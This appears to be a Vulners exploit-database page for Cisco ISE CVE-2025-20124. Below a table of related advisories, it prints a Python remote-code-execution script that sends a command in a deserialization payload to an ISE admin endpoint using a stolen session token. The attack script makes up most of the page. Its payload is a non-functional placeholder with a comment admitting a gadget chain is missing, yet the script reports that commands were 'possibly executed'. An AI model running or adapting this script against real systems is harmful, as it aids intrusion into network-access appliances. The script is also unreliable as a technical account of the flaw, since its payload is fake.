| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| Exploit for Deserialization of Untrusted Data in Cisco Identity_Services_Engine | 16 Jun 202507:44 | – | githubexploit | |
| Exploit for CVE-2026-20180 | 21 Apr 202615:21 | – | githubexploit | |
| Exploit for Deserialization of Untrusted Data in Cisco Identity_Services_Engine | 12 Aug 202522:34 | – | githubexploit | |
| CVE-2025-20124 | 5 Feb 202517:15 | – | attackerkb | |
| CVE-2025-20124 | 5 Feb 202516:21 | – | circl | |
| Cisco Identity Services Engine Insecure Java Deserialization and Authorization Bypass Vulnerabilities | 5 Feb 202516:00 | – | cisco | |
| Cisco Identity Services Engine Insecure Java Deserialization and Authorization Bypass Vulnerabilities (cisco-sa-ise-multivuls-FTW9AOXF) | 11 Feb 202500:00 | – | nessus | |
| Cisco ISE 代码问题漏洞 | 5 Feb 202500:00 | – | cnnvd | |
| Cisco Identity Services Engine Code Issue Vulnerability (CNVD-2025-03531) | 10 Feb 202500:00 | – | cnvd | |
| CVE-2025-20124 | 5 Feb 202516:12 | – | cve |
# Exploit Title: Cisco ISE 3.0 - Remote Code Execution (RCE)
# Exploit Author: @ibrahimsql ibrahimsql.com
# Exploit Author's github: https://github.com/ibrahmsql
# Description: Cisco ISE API Java Deserialization RCE
# CVE: CVE-2025-20124
# Vendor Homepage: https://www.cisco.com/
# Requirements: requests>=2.25.0, urllib3>=1.26.0
# Usage: python3 CVE-2025-20124.py --url https://ise.target.com --session TOKEN --cmd "id"
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import sys
import argparse
import base64
import urllib3
urllib3.disable_warnings()
def banner():
print(r"""
_________ .__
\_ ___ \|__| ______ ____ ____
/ \ \/| |/ ___// ___\/ _ \
\ \___| |\___ \\ \__( <_> )
\______ /__/____ >\___ >____/
\/ \/ \/
Cisco ISE Java Deserialization RCE
CVE-2025-20124
Author: ibrahmsql | github.com/ibrahmsql
""")
def build_serialize_payload(cmd):
"""
Java deserialization payload builder
"""
java_cmd = cmd.replace('"', '\\"')
# Placeholder serialization - gerçek exploit için gadget chain gerekli
payload = f'\xac\xed\x00\x05sr\x00...ExecGadget...execute("{java_cmd}")'
return base64.b64encode(payload.encode()).decode()
def exploit_deserialization(base_url, session_token, cmd):
"""
CVE-2025-20124: Java Deserialization RCE
"""
endpoint = f"{base_url}/api/v1/admin/deserializer"
headers = {
"Cookie": f"ISESSIONID={session_token}",
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)"
}
payload = build_serialize_payload(cmd)
data = {"object": payload}
print(f"[+] Target: {base_url}")
print(f"[+] Endpoint: {endpoint}")
print(f"[+] Command: {cmd}")
print(f"[+] Sending deserialization payload...")
try:
r = requests.post(endpoint, json=data, headers=headers, verify=False, timeout=10)
if r.status_code == 200:
print("[+] Payload successfully sent!")
print("[+] Command possibly executed!")
if r.text:
print(f"[+] Response: {r.text[:500]}")
elif r.status_code == 401:
print("[-] Authentication failed - invalid session token")
elif r.status_code == 403:
print("[-] Access denied - insufficient privileges")
elif r.status_code == 404:
print("[-] Endpoint not found - target may not be vulnerable")
else:
print(f"[-] Unexpected response: {r.status_code}")
print(f"[-] Response: {r.text[:200]}")
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-20124 - Cisco ISE Java Deserialization RCE",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 CVE-2025-20124.py --url https://ise.company.com --session ABCD1234 --cmd "id"
python3 CVE-2025-20124.py --url https://10.0.0.1:9060 --session TOKEN123 --cmd "whoami"
"""
)
parser.add_argument("--url", required=True, help="Base URL of Cisco ISE appliance")
parser.add_argument("--session", required=True, help="Authenticated ISE session token")
parser.add_argument("--cmd", required=True, help="Command to execute via deserialization")
args = parser.parse_args()
banner()
# URL validation
if not args.url.startswith(('http://', 'https://')):
print("[-] URL must start with http:// or https://")
sys.exit(1)
exploit_deserialization(args.url, args.session, args.cmd)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation